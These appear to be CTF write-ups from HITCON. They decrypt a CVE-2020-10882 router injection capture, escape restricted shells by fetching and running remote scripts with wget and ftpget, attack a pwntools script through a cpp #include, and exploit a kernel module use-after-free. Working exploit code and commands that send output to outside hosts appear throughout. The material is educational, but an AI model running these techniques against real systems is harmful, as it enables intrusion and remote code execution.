b'Pin 64? \x1b[1;32mOK\x1b[0m\n'
b'Pin 65? \x1b[1;32mOK\x1b[0m\n'
b'Pin 66? \x1b[1;32mOK\x1b[0m\n'
b'Pin 67? \x1b[1;32mOK\x1b[0m\n'
b'Pin 68? \x1b[1;32mOK\x1b[0m\n'
b'Pin 69? \x1b[1;32mOK\x1b[0m\n'
b'Pin 70? \x1b[1;32mOK\x1b[0m\n'
b'Pin 71? \x1b[1;32mOK\x1b[0m\n'
b'Pin 72? \x1b[1;32mOK\x1b[0m\n'
b'Pin 73? \x1b[1;32mOK\x1b[0m\n'
b'Pin 74? \x1b[1;32mOK\x1b[0m\n'
b'Pin 75? \x1b[1;32mOK\x1b[0m\n'
b'Pin 76? \x1b[1;32mOK\x1b[0m\n'
b'Pin 77? \x1b[1;32mOK\x1b[0m\n'
b'Pin 78? \x1b[1;32mOK\x1b[0m\n'
b'Pin 79? \x1b[1;32mOK\x1b[0m\n'
b'Pin 80? \x1b[1;32mOK\x1b[0m\n'
b'Pin 81? \x1b[1;32mOK\x1b[0m\n'
b'Pin 82? \x1b[1;32mOK\x1b[0m\n'
b'Pin 83? \x1b[1;32mOK\x1b[0m\n'
b'Pin 84? \x1b[1;32mOK\x1b[0m\n'
b'Pin 85? \x1b[1;32mOK\x1b[0m\n'
b'Pin 86? \x1b[1;32mOK\x1b[0m\n'
b'Pin 87? \x1b[1;32mOK\x1b[0m\n'
b'Pin 88? \x1b[1;32mOK\x1b[0m\n'
b'Pin 89? \x1b[1;32mOK\x1b[0m\n'
b'Pin 90? \x1b[1;32mOK\x1b[0m\n'
b'Pin 91? \x1b[1;32mOK\x1b[0m\n'
b'Pin 92? \x1b[1;32mOK\x1b[0m\n'
b'Pin 93? \x1b[1;32mOK\x1b[0m\n'
b'Pin 94? \x1b[1;32mOK\x1b[0m\n'
b'Pin 95? \x1b[1;32mOK\x1b[0m\n'
b'Pin 96? \x1b[1;32mOK\x1b[0m\n'
b'Pin 97? \x1b[1;32mOK\x1b[0m\n'
b'Pin 98? \x1b[1;32mOK\x1b[0m\n'
b'Pin 99? \x1b[1;32mOK\x1b[0m\n'
b'Pin 100? \x1b[1;32mOK\x1b[0m\n'
[*] Switching to interactive mode
FLAG Unlocked: hitcon{even_my_c4t_can_s0lve_4_digits_pin_4A999B}
[*] Got EOF while reading in interactive


My router is weird, can you help me find the problem?

The challenge

We are given a PCAP file which contains some communication between a computer (a macbook pro) and a router (a TP-link AC1750)


The PCAP can be divided into 3 main flows, one after the other:

  1. Some HTTP requests to the router web interface, which seems to be running some sort of OpenWRT, given the references to the LuCI API. Nothing too interesting here
  2. Some weird UDP traffic from the computer to port 20002 of the router which appears to be encrypted (high entropy, no recognizable strings)
  3. A TCP connection from the router to the computer on port 4321, which sends back the output of the ls command

UDP port 20002

From a quick search on the internet, we find references to CVE-2020-10882, which coincidentally affects the router we are communicating with.

We were able to find this extremely useful writeup which explains the details of the protocol, and of the vulnerability which causes RCE. TLDR (since it’s what we care about): it communicates using packets containing a 32-byte header and a JSON encrypted with AES-128 CBC, with the fixed key TPONEMESH_Kf!xn? and IV 1234567890abcdef1234567890abcdef.

Without knowing anything else about the protocol (except that the injection point is in the slave_mac JSON key), we exported the UDP traffic from wireshark as JSON and wrote this quick python script:

from Crypto.Cipher import AES

def decrypt(packet_hex):
	c ='TPONEMESH_Kf!xn?',AES.MODE_CBC,b'1234567890abcdef')
	enc = bytearray.fromhex(packet_hex[32:])
	return c.decrypt(enc)

import json

f = json.loads(open("traffic.json").read())
for p in f:
		p = p['_source']['layers']['udp']['udp.payload'].replace(':',"") #because wireshark hexdump is stupid
	except Exception as e:

Which, after a bit of cleaning, this returned

printf '('>>f;
printf 'l'>>f;
printf 's'>>f;
printf ' '>>f;
printf '-'>>f;
printf 'l'>>f;
printf '&'>>f;
printf '&'>>f;
printf 'e'>>f;
printf 'c'>>f;
printf 'h'>>f;
printf 'o'>>f;
printf ' '>>f;
printf 'h'>>f;
printf 'i'>>f;
printf 't'>>f;
printf 'c'>>f;
printf 'o'>>f;
printf 'n'>>f;
printf '{'>>f;
printf 'W'>>f;
printf 'h'>>f;
printf 'y'>>f;
printf '_'>>f;
printf 'c'>>f;
printf 'a'>>f;
printf 'n'>>f;
printf '_'>>f;
printf 'o'>>f;
printf 'n'>>f;
printf 'e'>>f;
printf '_'>>f;
printf 'p'>>f;
printf 'l'>>f;
printf 'a'>>f;
printf 'c'>>f;
printf 'e'>>f;
printf '_'>>f;
printf 'b'>>f;
printf 'e'>>f;
printf '_'>>f;
printf 'i'>>f;
printf 'n'>>f;
printf 'j'>>f;
printf 'e'>>f;
printf 'c'>>f;
printf 't'>>f;
printf 'e'>>f;
printf 'd'>>f;
printf '_'>>f;
printf 't'>>f;
printf 'w'>>f;
printf 'i'>>f;
printf 'c'>>f;
printf 'e'>>f;
printf '}'>>f;
printf '>'>>f;
printf 'f'>>f;
printf 'l'>>f;
printf 'a'>>f;
printf 'g'>>f;
printf '&'>>f;
printf '&'>>f;
printf 'l'>>f;
printf 's'>>f;
printf ' '>>f;
printf '-'>>f;
printf 'l'>>f;
printf ')'>>f;
printf '|'>>f;
printf 't'>>f;
printf 'e'>>f;
printf 'l'>>f;
printf 'n'>>f;
printf 'e'>>f;
printf 't'>>f;
printf ' '>>f;
printf '1'>>f;
printf '9'>>f;
printf '2'>>f;
printf '.'>>f;
printf '1'>>f;
printf '6'>>f;
printf '8'>>f;
printf '.'>>f;
printf '0'>>f;
printf '.'>>f;
printf '1'>>f;
printf '0'>>f;
printf '5'>>f;
printf ' '>>f;
printf '4'>>f;
printf '3'>>f;
printf '2'>>f;
printf '1'>>f;
sh f;

Which, when executed, creates the file f containining:

(ls -l && echo hitcon{Why_can_one_place_be_injected_twice}>flag &&l s -l)|telnet 4321

Which contains the flag!

Baby Shock

nc 1986

The challenge

We can connect via netcat to a machine, which contains an extremely limited shell, where the only commands we can run are pwd ls mkdir netstat sort printf exit help id mount df du find history touch and (most of the) special characters are filtered

The solution

For some reason, ; is not filtered. This means that we can run any command by doing id ; mycommand, as long as mycommand does not contain special characters (such as -, so most flags are forbidden).

Also, the . is restricted, and cannot appear more than once in a command.

So first we execute:

id ; wget 123456789

where 123456789 is the IP (encoded as decimal number) of a HTTP serve we control, that hosts an index.html containing shell commands.

We then execute it via the command:

id ; sh index.html

Which allows us to explore the filesystem, and see that there is a readFlag binary in /. By executing it we get the flag.

Revenge of Baby Shock

nc 1987

The challenge

It’s identical to baby shock, but more characters are forbidden, including ; and even a single .

The solution

One of the (very few) special characters allowed are (). With these, it’s possible to declare functions.

This means that we can do

> id () whoami
> id
whoami: unknown uid 1129

To redefine one of the allowed commands (in this case id) to a function that executes our desired command.

Without the ., we couldn’t use the same trick as before to execute the reverse shell, as wget by default saves the downloaded files as index.html (and to change that name, a flag starting with - is required).

Luckily, the server was running busybox, which contains the ftpget utility, with the much simper syntax of ftpget HOST LOCAL_FILE REMOTE_FILE.

So we run the following commands

id () ftpget 123456789 payload payload

to download via FTP the payload file from our server with ip 123456789 (decimal encoded), which contains the command /readFlag, and then

id () sh payload

To execute it and read the flag, which is hitcon{r3v3ng3_f0r_semic010n_4nd_th4nks}.

Revenge of Pwn

Have you ever thought those challenges you pwned may retaliate someday?

nc 9427

The challenge

Our task is to write an exploit to “pwn” a pwntools Python script that runs on the remtoe server. When we connect, we can upload an executable: this executable is then saved and exposed in the local server on port 1337. Then, the Python script is started and connects to it. Our executable does not have the right to read the flag, which is at /home/deploy/flag, but the Python script does. We need to find a way to make it read and spit out that file.

The Python script does the following:

  1. Start listening on port 31337.
  2. Expect to receive a string containing a stack address (stack address @ 0xXXX) from the program right away.
  3. Prepare and send a shellcode to the program. The shellcode is meant to leak an fd number from the stack and send it back as a decimal string to the Python script by conencting back to port 31337. The code sends the fd number followed by a @ character.
  4. Receive the leaked fd on port 31337, using s.recvuntil('@').
  5. Use the value to craft some more shellcode which is then sent to our program.

The vulnerability

When receiving the fd number, the Python script treats it as a string without converting it to integer. When passing the string to the shellcraft function of pwntools, this value is directly inserted into an assembly program that is then passed to cpp (compiler) to evaluate preprocessor macros and then to as (assembler) to assemble it into the actual shellcode.

Since we have control on the “vulnerable” program that the script tries to connect to, after sending a fake stack address, we can just connect back to the script on port 31337 and send an arbitrary string followed by @. This string will then be passed to shellcraft, and it ends up in the middle of the assembly program that is being compiled into shellcode.

The exploit

The remote server says “ELF size? (MAX: 6144)” when connecting, which makes it seems like it only accepts an ELF file. Sure, we could craft a very simple ELF that does a write plus connect, no big deal. However, as it turns out, no check is made on the server side on the kind of file received, so we can send any kind of file and the serer will mark it as executable and run it. We can therefore simply send a Bash script as executable and make our life 10 times easier.

Now in our executable we could just send .incbin "/home/deploy/flag" and have as include the flag as raw bytes in the resulting shellcode that is then sent back to us, but pwntools makes some very strict sanity checks on our string before actually inserting it into the assembly. Our string can only be a valid Python expression: it is compiled using compile() and the resulting bytecode is checked against a whitelist of Python opcodes before being evaluated and inserted in the assembly. Long story short, we nee to pass this check and cannot just send arbitrary stuff.

Since the assembly will be parsed by cpp, it can contain valid C preprocessor directives, like for example #include. Luckily, # in Python delimits the start of a comment, which is completely ignored by compile(). We can therefore send a number followed by a newline and then #include </home/deploy/flag>@.

Here’s the complete exploit:

# @mebeim - 2020-11-29

cat <<EOF

echo 'stack address @ 0x1234'
sleep 1
echo -e '123\n#include "/home/deploy/flag"@' > /dev/tcp/
} | nc 9427

This will result in the remote pwntools trying to compile something like this:

    push 123
#include </home/deploy/flag>
    push 16384

Which will make cpp include the flag in the file. Afterwards, when passing the file to as, it will die because the source is invalid, and make pwntools dump the script and the flag to stderr:

[ERROR] An error occurred while assembling:
       1: .section .shellcode,"awx"
       2: .global _start
       3: .global __start
       4: _start:
       5: __start:
       6: .intel_syntax noprefix
       7: stager_3:
       8:     push 123
       9: hitcon{use_pwntools_to_pwn_pwntools_^ovo^}
      10:     push 16384
/var/tmp/pwn-asm-bslk3jq9/step1:9: Error: no such instruction: `hitcon{use_pwntools_to_pwn_pwntools_^ovo^}'


A TOken-based Memory Storage.

nc 9427

Challenge Release Content

file comment bash script to run the challenge
linux.diff a patch that was applied to the kernel
initramfs.cpio.gz the system (binaries, libraries, etc.)
demo.c source code of the test module
demo a sample binary to test the module
bzImage the kernel
atoms.ko the kernel module loaded on the system

The Goal of the Challenge

There was no flag file. The goal of the challenge was not standard. But looking at the released file was easy to understand the goal of the challenge. In particular, the linux.diff tells us that the flag is stored in the kernel’s error messages.

index 7110906..beeb01f 100644
--- a/kernel/watchdog.c
+++ b/kernel/watchdog.c
@@ -409,9 +409,12 @@ static enum hrtimer_restart watchdog_timer_fn(struct hrtimer *hrtimer)

+#ifndef FLAG
+ #define FLAG "hitcon{<FLAG WILL BE HERE>}"
 		pr_emerg("BUG: soft lockup - CPU#%d stuck for %us! [%s:%d]\n",
 			smp_processor_id(), duration,
-			current->comm, task_pid_nr(current));
+			FLAG, task_pid_nr(current));
 		if (regs)

Looking at the kernel’s original source code, we understood that the error is triggered if the core is stacked for a certain amount of time. In practice, you need to get the kernel module in deadlock.

The Kernel Module

This kernel module (atomos.ko) is creating a new device file /dev/atoms. It easy to understand the basic functionality of the module from the demo source code.

Practically, you can open the device file:

  int fd = open(DEV_PATH, O_RDWR);

Select/Create storage indexed by a key:


Allocate space for you messages:

  struct atoms_ioctl_alloc arg = {
    .size = 0x1000,
  assert(ioctl(fd, ATOMS_ALLOC, &arg) == 0);

Map the storage to a userspace virtual address:

  void *ptr = mmap(0, 0x1000, PROT_WRITE, MAP_SHARED, fd, 0);

When memory is allocated in userspace, you can read or write it:

  strcpy((char*)ptr, "the secret message left by parent");

Remove the storage from userspace:

  munmap(ptr, 0x1000);

Close the file descriptor:


The ioctl function is the most interesting part. We spent some time to reverse engineer the details. There are 4 basic commands for ioctl.

ATOMS_USE_TOKEN    0x4008D900  // set the current pool to a token
ATOMS_ALLOC        0xC010D902  // allocate memory for current pool
ATOMS_RELEASE      0xD903      // clean up the pool
ATOMS_INFO         0x8018D901  // return info about the current pool

The module internally has the concept of pool. A pool is identified by a token and contains the messages (memory pages) corresponding to a specific token The kernel has a global variable that is an array of pools. It can store up to 1024 pools.

The Locks

The module uses the kernel function raw_spin_lock to set up a lock on several resources. We identified three types of locks:

The Ref Counter

Internally, the pool is a structure that looks like this:

struct __attribute__((aligned(8))) s_pool
  _QWORD token;
  __int32 ref_counter;
  _DWORD lock;
  msg msgs[16];

token is the identifier of the pool, lock is the resource used for locking mechanism. msgs are the pages/messages stored in the pool.

ref_counter is counting how many things have a reference to this pool. The ref_counter is set to one when the pool is selected with the token. When ref_counter reaches zero, all pool contents are set free (atoms_mem_put). Ideally should reach zero only when the fd is closed. mapping a page increase the counter by 1, unmapping a page decrease the counter by 1.

The (Unintented) Vulnerability.

The challenge’s obvious goal was to get some of the locks interleaved to end up in a deadlock. We did not find such a combination. There is an exploit with the intended solution posted by the author david942j. At the time of writing, I (jinblack) do not understand that exploit. We exploited a User After Free that we stumbled on while experimenting.

If you map a message with multiple pages, the ref_counter is increased by 1. If you unmap pages singularly, each munmap decrease the counter by 1. This allows us to get the counter to zero even if the fd is not closed yet.

When the ref_counter reaches 0, the structure containing information of the selected token is set free. But because the fd is still alive, we can keep doing operations with that pool.

With this vulnerability, our focus changed from getting a deadlock to crash the kernel to just crash the kernel.

The Exploit

We modified the demo.c program to:

The exploit is not 100% reliable. It happens (quite often) that the program terminates without a crash. We just run the program several times.

#include <assert.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>

#define ATOMS_USE_TOKEN    0x4008D900
#define ATOMS_ALLOC        0xC010D902
#define ATOMS_RELEASE         0xD903
#define ATOMS_INFO         0x8018D901

struct atoms_ioctl_alloc {
  uint64_t size;
  uint64_t unk;

struct atoms_ioctl_info {
  uint64_t token;
  uint64_t num;
  uint64_t index;

#define DEV_PATH "/dev/atoms"
#define TOKEN 0xdeadbeef

static void print_info(int fd){
  struct atoms_ioctl_info arg= {
    .token = 0x0,
    .num = 0x0,
    .index = 0x0,
  assert(ioctl(fd, ATOMS_INFO, &arg) == 0);
  printf("token: %lx\t num %lx\t index %lx\n", arg.token, arg.num, arg.index);


static int get_token(int fd){
  struct atoms_ioctl_info arg= {
    .token = 0x0,
    .num = 0x0,
    .index = 0x0,
  assert(ioctl(fd, ATOMS_INFO, &arg) == 0);
  return arg.token;

static void hex_printer(uint8_t *c, int size){
  for(int i=0; i < size; i++){
    printf("%02x ", c[i]);

static int open_atoms(){
  int fd = open(DEV_PATH, O_RDWR);
  assert(fd >= 0);
  return fd;

static void set_token(int fd, uint64_t token){
  assert(ioctl(fd, ATOMS_USE_TOKEN, token) == 0);

static void set_token_noa(int fd, uint64_t token){
  printf("s_token %x\n", ioctl(fd, ATOMS_USE_TOKEN, token));

static void alloca_size(int fd, uint32_t size){
  struct atoms_ioctl_alloc arg = {
    .size = size,
  assert(ioctl(fd, ATOMS_ALLOC, &arg) == 0);

static void *mappa(int fd, uint64_t size){
  void *ptr = mmap(0, size, PROT_WRITE | PROT_READ, MAP_SHARED, fd, 0);
  printf("mem: %p\n", ptr);
  assert(ptr != MAP_FAILED);
  return ptr;

static void release(int fd){
    assert(ioctl(fd, ATOMS_RELEASE) == 0);

static void fill_a_token(uint64_t token, int size){
  int fd = open_atoms();
  set_token(fd, token);

  for (int i=0; i < 16; i++)
    alloca_size(fd, size);

static void child_work() {
  printf("[child] start\n");
  int fd = open_atoms();
  set_token(fd, 0x41424344);
  char *ptr = mappa(fd, 0x1000);
  printf("mem: %p\n", ptr);

  munmap(ptr, 0x1000);

static void parent_work(int argc, char *argv[]) {
  int fd = open_atoms();
  puts("before set token");
  set_token(fd, TOKEN);

  // allocate a multiple pages chunk
  alloca_size(fd, 0x5000);
  uint8_t *ptr = mappa(fd, 0x5000);
  hex_printer(ptr, 0x10);
  strcpy((char*)ptr, "AAAAAAAAAAAAAAAAAAAAB");

  // deallocate page singularly to get ref count below 1
  printf("before munmap 1 \n");
  munmap(ptr + 0x1000, 0x1000);

  printf("before munmap 2 \n");
  munmap(ptr + 0x2000, 0x1000);

  puts("before release!");
  release(fd); //Here you could use another munmap. It should work as well.

  //At this point the priv_data of the file descriptor is pointing to a free chunk

  int i = 1;
  while (1)
    int pid = fork();
    //Spawn several child to get the free chunk allocated
    if(pid == 0){
      char * newarg[] = { argv[0], "child", NULL };
      execv(argv[0], newarg);
      puts("neve executed!");

    //checks that the chunk is been written with something else
    if (get_token(fd) != TOKEN){

      //Try to run stuff to get a crash!
      alloca_size(fd, 0x1000);
      mappa(fd, 0x1000);

  puts("before close");

  puts("[parent] Message left.");

int main(int argc, char *argv[]) {
  if (argc == 1) {
    parent_work(argc, argv);
  } else {
  return 0;

The Setup

I believe a nice setup is one of the most important and useful things to solve a CTF challenge. I was a little rusty (a better word for noob) with qemu machines. I am putting the setup scripts in this section so that the future me, which will still be rusty with qemu machines, can quickly readapt those scripts during another CTF. Credits for compilation setup go to mebeim.

Run machine recompiling my sourcecode


# Uncompress, make changes, recompress
# mkdir initramfs
# cd initramfs
# zcat ../initramfs.cpio.gz | cpio -i -d
# ... edit stuff
# find . | cpio -o -H newc | gzip -9 > ../initramfs_edited.cpio.gz

set -e

gcc  -static -g \
  -o initramfs/home/atoms/expl expl.c
cp expl.c initramfs/home/atoms/expl.c
cd initramfs
find . | cpio -o -H newc | gzip -9 > ../initramfs_edited.cpio.gz
cd ..

qemu-system-x86_64 \
  -s \
  -kernel ./bzImage \
  -initrd ./initramfs_edited.cpio.gz \
  -nographic \
  -cpu qemu64 \
  -append "console=ttyS0 nokaslr panic=-1 softlockup_panic=1" \
  -no-reboot \
  -m 256M -smp cores=2 \
  -device e1000,netdev=network0 \
  -netdev tap,id=network0,ifname=tap0,script=no,downscript=no \
  -monitor none

-s is for enableing gdbserver on the kernel.

-device e1000,netdev=network0 \
-netdev tap,id=network0,ifname=tap0,script=no,downscript=no \

To enable network communication between gest and host. You also need the network setup script and assign an IP in the machine. I achieved the IP assignment by modifying the init script of the initramfs. nokaslr as kernel option to disable kaslr. cat /proc/kallsyms from inside the vm to get position of functions inside the kernel.

Setup network for debugging

I needed the network setup from the host and the guest in order to run a gdbserver on the executable inside the vm.


sudo ip link add br0 type bridge
sudo ip addr flush dev br0
# Assign IP to the bridge.
sudo ip addr add brd dev br0

#reate TAP interface.
sudo ip tuntap add mode tap user $(whoami)
ip tuntap show

#Add TAP interface to the bridge.
sudo ip link set tap0 master br0

#Make sure everything is up
sudo ip link set dev br0 up
sudo ip link set dev tap0 up

# sudo ip link set dev br0 down
# sudo ip link set dev tap0 down
# sudo ip link del br0
# sudo ip link del tap0

Inside ./initramfs/init:

ifconfig eth0 up
ip addr add broadcast dev eth0


You have to start looking at the world in a new way.

nc 9427

Author: david942j

The Goal of the Challenge

The challenge is based on the server.rb ruby script which takes a shellcode as input and wraps it into an ELF executable file that is then run by the time_machine debugger. The goal of the challenge was to initially reverse this debugger and learn what it exactly does. Later on we found out that in order to retrieve the flag the shellcode needed to be executable in two ways: the normal and the reversed one. The peculiarity was that the code would run reversed following the same flow it got in the ‘straight’ way.

The generated ELF

First of all we wanted to test out what kind of wrapping was in place within our shellcode, we found out that seccomp was enabled preventing us from executing every possible syscall but read, write, exit, and sigreturn, as mentioned in the man:

The only system calls that the calling thread is permitted to make are read(2), write(2), _exit(2) (but not exit_group(2)), and sigreturn(2)

We also found that it initialized a both readable and writable mapping at address 0x2170000 to 0x2171000. Our shellcode started from address 0xdead0080 and needed to be less than 2KB.

The time_machine debugger

We started reversing this binary, we soon realized that it was a debugger executing whatever it’s passed through as a first argument (Our generated ELF). Our shellcode was executed step by step saving in a list every executed instruction address. Once it got to a SYSCALL instruction it checked whether the EAX register was set to 0x3C (sys_exit) and, if so, it started executing every instruction stored in the list in reversed order. The syscall (or sysenter) instructions were completely ignored and even if we got one we couldn’t execute almost anything because of the seccomp. The debugger, once started, also sets an 8byte cookie to 0x2170000, checks if it’s cleared once our shellcode is executed and rechecks if it’s there once it got executed the other way back.

The shellcode

So the challenge was: write down an assembly that could erase the cookie when executed in the normal way and could restore it when executed with the same flow but reversed. Our first tought was to store it into a register and xor it to memory in a way that looked like this:

mov rcx, 0x2170000
mov rdx, 0x0     ; Clean rdx
xor rdx, [rcx]   ; Set/erase rdx
xor [rcx], rdx   ; Erase/set memory
mov rcx, 0x2170000
mov eax, 0x3c

Of course, it wasn’t that simple, the registers (both the CPU and FP ones) got erased right before the reversed execution, we needed somewhere else to store the cookie. The stack? No, we couldn’t have a stack address in the reversed execution. The rest of the 0x2170000 mapping? No, this debugger checked also that the entire page was NULL(ed). But then we realized that we actually had a memory: the executed instruction order! So the final shellcode looked like this:

mov rdx, 0x2170000 ; initialize rdx to cookie address
mov rsp, 0x2170500 ; improvised stack to store ret values

mov rcx, rdx
add rcx, 0
call confrontoLow ; confronto == compare
add rcx, 0
mov rcx, rdx
add rcx, 0
call confrontoHigh
add rcx, 0

mov rcx, rdx

add rcx, 1
call confrontoLow
add rcx, 1
mov rcx, rdx
add rcx, 1
call confrontoHigh
add rcx, 1

mov rcx, rdx
    . ; Replicated code for every nibble possible value
add rcx, 15 ; While coding at 4am, we didn't realized that up to 7 was enough, we copied more than needed(16 bytes)
call confrontoLow
add rcx, 15
mov rcx, rdx
add rcx, 15
call confrontoHigh
add rcx, 15

push 0 ; clean improvised stack
; reset a bunch of things just to be sure
mov rsp, 0x2170500
mov rdx, 0x2170000
mov rcx, 0x2170500
xor rdx,rdx
xor rbx,rbx
xor rcx,rcx
xor r14,r14
; Or should I comment here? Whatever...
mov rax, 0x3c

; Check the upper nibble and jump to the calculated function offset
xor rbx,rbx
mov bl, byte ptr[rcx]
shr bl, 4
mov r14, 0xdead035b ; absolute for nibble00High
add r14, rbx        ; multiply by 8 for lazy people
add r14, rbx
add r14, rbx
add r14, rbx
add r14, rbx
add r14, rbx
add r14, rbx
add r14, rbx
jmp r14

; Check the lower nibble and jump to the calculated function offset
xor rbx,rbx
mov bl, byte ptr[rcx]
and bl, 0xf
mov r14, 0xdead030b ; absolute for nibble00Low
add r14, rbx        ; multiply by 5 for lazy people
add r14, rbx
add r14, rbx
add r14, rbx
add r14, rbx
jmp r14

xor qword ptr [rcx],0x00

xor qword ptr [rcx],0x01
xor qword ptr [rcx],0x0f

xor qword ptr [rcx],0x00
nop  ; Needed a 3 byte offset because xor with immediate ≤0x7f is smaller than the other half byte (Wtf x64 assembly?)

xor qword ptr [rcx],0x10
xor qword ptr [rcx],0x70

xor qword ptr [rcx],0x80
xor qword ptr [rcx],0xf0

And the flow does the rest… When it goes back it initializes a register at the right byte address and the flow ‘remembers’ which value every nibble had by executing the code segment containing the xor with that value.


We could, as we had seen from the solution, have used bits instead of nibbles but hey! At least we didn’t use bytes! Also, during our journey, we thought we could use some floating-point register but we had seen that this wasn’t the case because those got erased too. (Turns out we were wrong because the xmm registers did got erased, while the ymm registers didn’t get erased)